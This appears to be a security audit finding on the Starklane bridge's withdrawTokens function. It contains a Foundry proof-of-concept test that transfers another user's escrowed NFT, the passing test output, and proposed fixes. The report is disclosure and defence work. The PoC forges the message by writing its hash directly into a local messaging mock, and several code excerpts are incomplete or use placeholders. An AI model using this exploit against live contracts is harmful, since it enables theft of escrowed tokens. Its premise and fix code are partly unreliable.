The bug
I found a bug in withdrawTokens function in `Starklane` (bridge.sol) and so, this bug allows an attack vector for a black hat to withdraw tokens that they do not own, therefore stealing them from actual users. The root cause of the bug is not enough validation of withdrawal requests after the L2 to L1 message consumption.
Where?
function withdrawTokens(
uint256[] calldata request
)
external
payable
returns (address)
{
if (!_enabled) {
revert BridgeNotEnabledError();
}
if (Protocol.canUseWithdrawAuto(header)) {
revert NotSupportedYetError();
} else {
_consumeMessageStarknet(_starknetCoreAddress, _starklaneL2Address, request);
}
Request memory req = Protocol.requestDeserialize(request, 0);
address collectionL1 = _verifyRequestAddresses(req.collectionL1, req.collectionL2);
}
So the bug occurs due to the following issues:
_consumeMessageStarknet function only verifies that the message from L2 is consumable and hasn't been auto-withdrawn, but doesn't validate the contents of the actual message:
function _consumeMessageStarknet(
IStarknetMessaging starknetCore,
snaddress fromL2Address,
uint256[] memory request
)
internal
{
bytes32 msgHash = starknetCore.consumeMessageFromL2(
snaddress.unwrap(fromL2Address),
request
);
if (_autoWithdrawn[msgHash] != WITHDRAW_AUTO_NONE) {
revert WithdrawMethodError();
}
}
After consuming the message, the contract assumes it's legitimate and proceeds with the withdrawal without additional checks. Although intended, this is not safe in current implemenation. As there is no verification that the ownerL1 in the request matches the original depositor of the actual token.
Impact
Stealing escrowed tokens: Black hat can withdraw any token held in escrow by the bridge, regardless of who originally deposited it.
Loss of normal acting, good users funds: Good users may lose their tokens to black hats exploiting this vulnerability.
Bridge Trust Compromise: The security model of the entire bridge is undermined by this, as users can no longer trust that their deposited tokens are actually safe. If exploited at scale, the bug could lead to many losses and a loss of confidence thereby in the bridge, and associated ecosystems, a big deal in web3.
Proof of Concept
I made this test to demonstrate the bug, add into Bridge.t.sol:
function test_criticalExploit_unauthorizedWithdrawal() public {
console.log("Starting critical exploit test: Unauthorized token withdrawal");
ERC721MintFree erc721Token = new ERC721MintFree("Vulnerable Token", "VT");
erc721Token.mintRangeFree(alice, 0, 5);
IStarklane(bridge).setL1L2CollectionMapping(address(erc721Token), Cairo.snaddressWrap(0x123), true);
vm.startPrank(alice);
erc721Token.setApprovalForAll(address(bridge), true);
uint256[] memory aliceTokenIds = new uint256[](1);
aliceTokenIds[0] = 3;
IStarklane(bridge).depositTokens{value: 30000}(
0x1, address(erc721Token), Cairo.snaddressWrap(0x123), aliceTokenIds, false
);
vm.stopPrank();
console.log("Alice deposited token 3");
felt252 header = Protocol.requestHeaderV1(CollectionType.ERC721, false, false);
Request memory maliciousRequest = Request({
header: header,
hash: 0x2,
collectionL1: address(erc721Token),
collectionL2: Cairo.snaddressWrap(0x123),
ownerL1: bob,
ownerL2: Cairo.snaddressWrap(0x456),
name: "",
symbol: "",
uri: "",
tokenIds: aliceTokenIds,
tokenValues: new uint256[](0),
tokenURIs: new string[](0),
newOwners: new uint256[](0)
});
uint256[] memory maliciousPayload = Protocol.requestSerialize(maliciousRequest);
bytes32 msgHash = computeMessageHashFromL2(maliciousPayload);
uint256[] memory hashes = new uint256[](1);
hashes[0] = uint256(msgHash);
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(hashes);
vm.prank(bob);
try IStarklane(bridge).withdrawTokens(maliciousPayload) {
console.log("Critical vulnerability: Unauthorized withdrawal succeeded");
assert(erc721Token.ownerOf(3) == bob);
console.log("Token 3 is now owned by the attacker (Bob)");
} catch Error(string memory reason) {
console.log("Exploit failed. Reason:", reason);
assert(false);
}
assertEq(erc721Token.ownerOf(3), bob, "Attacker should now own the token");
assertNotEq(erc721Token.ownerOf(3), alice, "Alice should no longer own the token");
console.log("Critical exploit test completed");
}
Results of test:
Ran 1 test for test/Bridge.t.sol:BridgeTest
[PASS] test_criticalExploit_unauthorizedWithdrawal() (gas: 1579094)
Logs:
Starting critical exploit test: Unauthorized token withdrawal
Alice deposited token 3
Critical vulnerability: Unauthorized withdrawal succeeded
Token 3 is now owned by the attacker (Bob)
Critical exploit test completed
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 58.66ms (6.31ms CPU time)
Ran 1 test suite in 90.93ms (58.66ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Insert in more rigorous ownership verification:
mapping(address => mapping(uint256 => address)) private _tokenDepositors;
function depositTokens() external payable {
for (uint256 i = 0; i < req.tokenIds.length; i++) {
_tokenDepositors[req.collectionL1][req.tokenIds[i]] = msg.sender;
}
}
function withdrawTokens(uint256[] calldata request) external payable returns (address) {
Request memory req = Protocol.requestDeserialize(request, 0);
for (uint256 i = 0; i < req.tokenIds.length; i++) {
require(_tokenDepositors[req.collectionL1][req.tokenIds[i]] == req.ownerL1, "Unauthorized withdrawal");
delete _tokenDepositors[req.collectionL1][req.tokenIds[i]];
}
}
Better the _consumeMessageStarknet function to validate the actual message contents:
function _consumeMessageStarknet(
IStarknetMessaging starknetCore,
snaddress fromL2Address,
uint256[] memory request
)
internal
returns (Request memory)
{
bytes32 msgHash = starknetCore.consumeMessageFromL2(
snaddress.unwrap(fromL2Address),
request
);
if (_autoWithdrawn[msgHash] != WITHDRAW_AUTO_NONE) {
revert WithdrawMethodError();
}
Request memory req = Protocol.requestDeserialize(request, 0);
require(_validateRequest(req), "Invalid request");
return req;
}
function _validateRequest(Request memory req) internal view returns (bool) {
}
Could use a nonce system to prevent replay attacks:
mapping(bytes32 => bool) private _usedWithdrawalHashes;
function withdrawTokens(uint256[] calldata request) external payable returns (address) {
bytes32 withdrawalHash = keccak256(abi.encodePacked(request));
require(!_usedWithdrawalHashes[withdrawalHash], "Withdrawal already processed");
_usedWithdrawalHashes[withdrawalHash] = true;
same
}
